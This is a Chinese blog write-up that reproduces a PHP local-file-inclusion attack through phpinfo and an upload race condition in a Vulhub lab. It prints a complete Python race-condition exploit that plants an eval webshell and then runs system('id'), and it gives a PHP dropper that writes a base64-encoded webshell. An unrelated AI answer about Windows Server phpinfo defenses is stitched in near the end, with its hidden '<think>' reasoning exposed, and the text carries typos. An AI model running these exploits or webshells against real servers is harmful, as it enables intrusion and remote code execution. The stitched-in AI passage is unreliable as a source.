PHP文件包含漏洞(利用phpinfo)复现&&文件上传(条件竞争)

一.PHP文件包含漏洞(利用phpinfo)复现

       1.1简介

       在 PHP 环境下,如果网站存在本地文件包含漏洞,但是却无法找到想要包含的文件,也无法生成上传文件,是否能够获得 WebShell 呢?
       这里有一个技巧,前提是网站需要有一个 phpinf 页面,就可以通过条件竞争来包含缓存文件获取 WebShell了。这个技巧实际上融合了 PHIP 文件包含信息泄露条件竞争这三种漏洞,
      下面简述一下这种技巧的原理。在 PHP 语言中,如果以multipart/form-data( 表单) 形式上传文件,PHP会将上传的文件名、临时文件路径等各参数保存在$_FILES 数组。由于文件大小不确定,有可能会因文件过大导致内存开销过大,所以 PHP 会将文件内容保存在/mp 目录并以“php6个随机字符”为文件命名。这个临时的文件在请求结束之后就会被立即清除。
       当有一个文件包含点,但是却苦于没有合适文件包含时,可以想办法包含 /tmp 目录下的临时文件,而这个文件的内容是可以通过 POST 数据包控制的。但是文件名具有随机性,而且文件存活时间太短,如何能够快速地在缓存文件被删除之前找到它呢?phpinfo 文就为攻击者提供了可能。phpinfo 会将请求上下文中的变量打印出来,通过POST到phpinfo 页面,再查询页面上打印出来的“$_FILES ”数组,就可以精确获取到缓存的文件名了。但是,这样速度还是有点慢,当获取到文件名时,文件早已经被删除了,这里还需要使用TCP 的一些技巧。
       攻击者需要想办法控制网站,让它不要一次性将所有页面内容返回,而是慢慢地返回。由于PHP 默认的输出缓冲区大小为 4096B,也就是说,PHP 每次只给 Soket 连接返回4096B,攻击者需要在读取到缓存文件名时立即发起第二个关于文件包含的请求。此时第一个请求还有剩余内容没有返回完毕,会话并未结束,缓存文件也就尚未删除。这其实是打了一个时间差。下面是较为完整的攻击流程。
    1)发送上传数据包给phpinf 页面,在这个数据包中采用multipart/form-data格式将需要包含文件的内容填充在文件内容区域。同时这个数据包还需要填充一些内容较大的 Header、GET参数,相当于塞满垃圾数据。这样一来,因为 phpinfo 页面会将所有数据都打印出来,垃圾数据会将整个phpinfo页面撑得非常大。
    2)PHP默认的输出缓冲区大小为4096B,可以理解为 PHP 每次返回4096B 给 Socket 连接:所以,攻击者直接操作原生 Socket,每次读取 4096B。只要读取到的字符里包含临时文件名,就立即发送第二个数据包。第一个数据包的 Socket 连接实际上还没结束,因为 PHP 还在续每次输出4096B,所以临时文件此时还没有删除。
    3)利用这个时间差,快速将第二个数据包发送至服务器,即可成功包含临时文件,最终GetShell (只需要包含成功一次,即使缓存文件被删除了,也能够获取到 WebShell,因为 PHP代码运行于内存之中)。

   1.2复现

     漏洞环境在vulhub上可以获取
https://github.com/vulhub/vulhub/tree/master/php/inclusion

  安装https协议、CA证书

 apt-get install -y apt-transport-https ca-certificates

  安装docker

apt install docker.io

启动docker

systemctl start docker

安装pip

apt-get install python3-pip

安装docker-compose

apt install docker-compose

 下载Vulhub靶场

git clone https://github.com/vulhub/vulhub.git

下载完毕后,进入到vulhub目录下( cd vulhub ),通过 ls 命令查看漏洞靶场。、

进到计划进行复现的漏洞环境下,对靶场进行编译

docker-compose build

  运行靶场

docker-compose up -d

查看启动环境,确认一下访问端口,通过返回的内容可以确认访问端口为8983

docker-compose ps

环境启动后,访问http://ip:8080/phpinfo.php即可看到一个PHPINFO页面

访问http://your-ip:8080/lfi.php?file=/etc/passwd,可见的确存在文件包含漏洞。

用exp.py脚本来不断的上传数据,利用条件竞争来实现包含文件。当成功包含临时文Php file_put_contents('/tmp/g ','<?p/g', '<?=eval($_REQUEST[1])?>')?>,写入一个新的文件/tmp/g目录,这个文件会被保留在目标机器上。

#!/usr/bin/python 
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script   
    LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break                
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()
                    
            except socket.error:
                return
    

def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)
    
    d = ""
    while True:
        i = s.recv(4096)
        d+=i        
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")
    
    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():
    
    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)
    
    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",  
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()
    
    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    main()

运行python2 shell.py your-ip 8080 100

运行后(有时候执行一次无法成功,需要反复多次执行)发现,当提交到第810个请求时完成了漏洞利用,创建了/tmp/g文件。
接下来,可以通过发啊啊昂问本地文件包含了漏洞加载/tmp/g文件,执行系统命令http://127.0.0.1:8080/lfi.php?file=/tmp/g&1=system(%27id%27),并通过提交system函数来执行任意的系统命令,这里以id为例,一面返回结果如下

二.文件上传(条件竞争)

漏洞原理:
  条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。

  上传文件源代码里没有校验上传的文件,文件直接上传,上传成功后才进行判断:如果文件格式符合要求,则重命名,如果文件格式不符合要求,将文件删除。
  由于服务器并发处理(同时)多个请求,假如a用户上传了木马文件,由于代码执行需要时间,在此过程中b用户访问了a用户上传的文件,会有以下三种情况:
  1.访问时间点在上传成功之前,没有此文件。
  2.访问时间点在刚上传成功但还没有进行判断,该文件存在。
  3.访问时间点在判断之后,文件被删除,没有此文件。`

源码

$is_upload = false;
$msg = null;   //判断文件上传操作

if(isset($_POST['submit'])){  //判断是否接收到这个文件
    $ext_arr = array('jpg','png','gif');  //声明一个数组,数组里面有3条数据,为:'jpg','png','gif'
    $file_name = $_FILES['upload_file']['name'];  //获取图片的名字
    $temp_file = $_FILES['upload_file']['tmp_name']; //获取图片的临时存储路径
    $file_ext = substr($file_name,strrpos($file_name,".")+1); //通过文件名截取图片后缀
    $upload_file = UPLOAD_PATH . '/' . $file_name; //构造图片的上传路径,这里暂时重构图片后缀名。

    if(move_uploaded_file($temp_file, $upload_file)){ //这里对文件进行了转存
        if(in_array($file_ext,$ext_arr)){ //这里使用截取到的后缀名和数组里面的后缀名进行对比
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;  //如果存在,就对文件名进行重构
             rename($upload_file, $img_path);  //把上面的文件名进行重命名
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!"; //否则返回"只允许上传.jpg|.png|.gif类型文件!"数据。
            unlink($upload_file);// 并删除这个文件
        }
    }else{
        $msg = '上传出错!';
    }
}


条件竞争原理:当我们成功上传了php文件,服务端会在短时间内将其删除,我们需要抢在它删除之前访问文件并生成一句话木马文件,所以访问包的线程需要大于上传包的线程。

这里我们先写一个用于上传的php文件(我这里命名为m.php),内容如下:
 

<?php
$a = "PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+"; // This is a base64-encoded PHP code.
$myfile = fopen("shell.php", "w"); // Open a file named "shell.php" for writing.
fwrite($myfile, base64_decode($a)); // Decode the base64-encoded content and write it to the file.
fclose($myfile); // Close the file.

echo "File written successfully.";
?>

我们可以使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件(条件竞争马.php),一旦我们成功访问到了上传的文件(条件竞争马.php),那么它就会向服务器写一个shell(shell.php)

换句话说,我们最终利用的并不是我们上传的文件,上传只是为了能有一刻成功访问,一旦访问成功,便会写入一句话木马,我们最终利用的就是新写入的php文件。\

上传m.php,利用burpsuite抓包(这个是上传包)

 

没竞争出来原地爆炸!!!

<think>好的,我需要处理用户关于Windows Server上phpinfo漏洞利用方法和防护措施的查询。首先,用户提到的引用内容涉及PHP-FPM的安全配置、漏洞知识库、探针漏洞利用以及靶机和攻击机的信息,这些可能都是相关的。 首先,phpinfo页面通常用于显示PHP配置信息,但公开暴露会带来安全风险。引用[1]提到PHP-FPM的security.limit_extensions设置,这可能与限制PHP执行的文件扩展名有关,可以防止非.php文件被执行,间接提升安全性。用户可能想了解如何通过配置来防护phpinfo漏洞。 然后,引用[2]中的漏洞知识库提到提供漏洞复现教程和防护建议,可能涉及如何利用phpinfo的信息泄露。需要解释攻击者如何利用phpinfo获取敏感信息,如路径、数据库凭据等,进而进行进一步攻击。 引用[3]提到了上传源码的漏洞,可能和文件上传漏洞结合phpinfo的信息泄露有关。比如,攻击者利用上传功能传恶意文件,再通过phpinfo找到上传路径来执行恶意代码。 引用[4]中的靶机和攻击机信息可能用于演示漏洞利用的环境设置,但用户问题集中在Windows Server,可能需要调整相关步骤,比如系统路径或服务配置的差异。 接下来,我需要整理phpinfo漏洞利用方法:信息泄露、路径暴露、环境变量泄露,以及可能的进一步攻击如数据库入侵或文件包含。防护措施方面,应建议禁用phpinfo、限制访问权限、配置PHP-FPM(如引用[1])、更新PHP版本、加强文件上传控制(引用[3]提到的上传漏洞)、使用WAF等。 同时,用户提供的引用需要正确关联到回答中,比如引用[1]用于限制扩展名,引用[2]和[3]用于漏洞利用和防护建议。需要确保回答结构清晰,分点列出利用方法和防护措施,并自然地加入引用标注。 最后,生成相关问题,可能涉及如何检测phpinfo暴露、其他PHP安全配置、与Windows Server相关的特定防护措施等。确保问题与用户查询紧密相关,并帮助进一步探索主题。</think>### Windows Server上phpinfo漏洞利用与防护 #### 漏洞利用方法 1. **敏感信息泄露** `phpinfo()`页面会暴露服务器路径、PHP版本、扩展配置、环境变量(如数据库账号密码)等敏感信息[^2]。攻击者可利用这些信息进一步发起针对性攻击,例如数据库注入或路径遍历攻击。 2. **结合文件上传漏洞** 若服务器存在文件上传漏洞(如引用[3]中的示例),攻击者可能通过`phpinfo`获取文件上传的真实路径,从而执行上传的恶意脚本。 3. **环境变量利用** `phpinfo`可能泄露`$_ENV`或`$_SERVER`变量中的密钥、API凭证等,攻击者可借此渗透内网服务。 --- #### 防护措施 1. **禁用phpinfo页面** - 删除或重命名测试环境中`phpinfo.php`文件。 - 在生产环境中避免使用`phpinfo()`函数。 2. **限制访问权限** - 通过Web服务器(如IIS或Apache)配置IP白名单,仅允许管理员访问`phpinfo`路径。 - 示例IIS规则:禁止公开访问`/phpinfo.php`。 3. **PHP-FPM安全配置** 如引用[1]所述,设置`security.limit_extensions = .php`,确保非`.php`扩展名的文件无法被解析执行,降低攻击面。 4. **更新PHP版本** 及时升级PHP至最新版本,修复已知漏洞(如CVE相关漏洞)。 5. **文件上传安全** 若需文件上传功能,严格校验文件类型和内容,避免引用[3]中公开源码的漏洞复现场景。 6. **日志监控与WAF** - 启用Web应用防火墙(WAF),拦截对`phpinfo`的异常请求。 - 监控服务器日志,发现高频访问`phpinfo`的IP并及时封禁。 --- #### 引用关联 - 通过限制PHP扩展名(引用[1])和漏洞知识库的防护建议(引用[2]),可系统性降低风险。 - 文件上传漏洞与`phpinfo`信息泄露结合利用的场景(引用[3])需重点关注路径隔离。 ---
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

在校大学生入坑网安ing

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值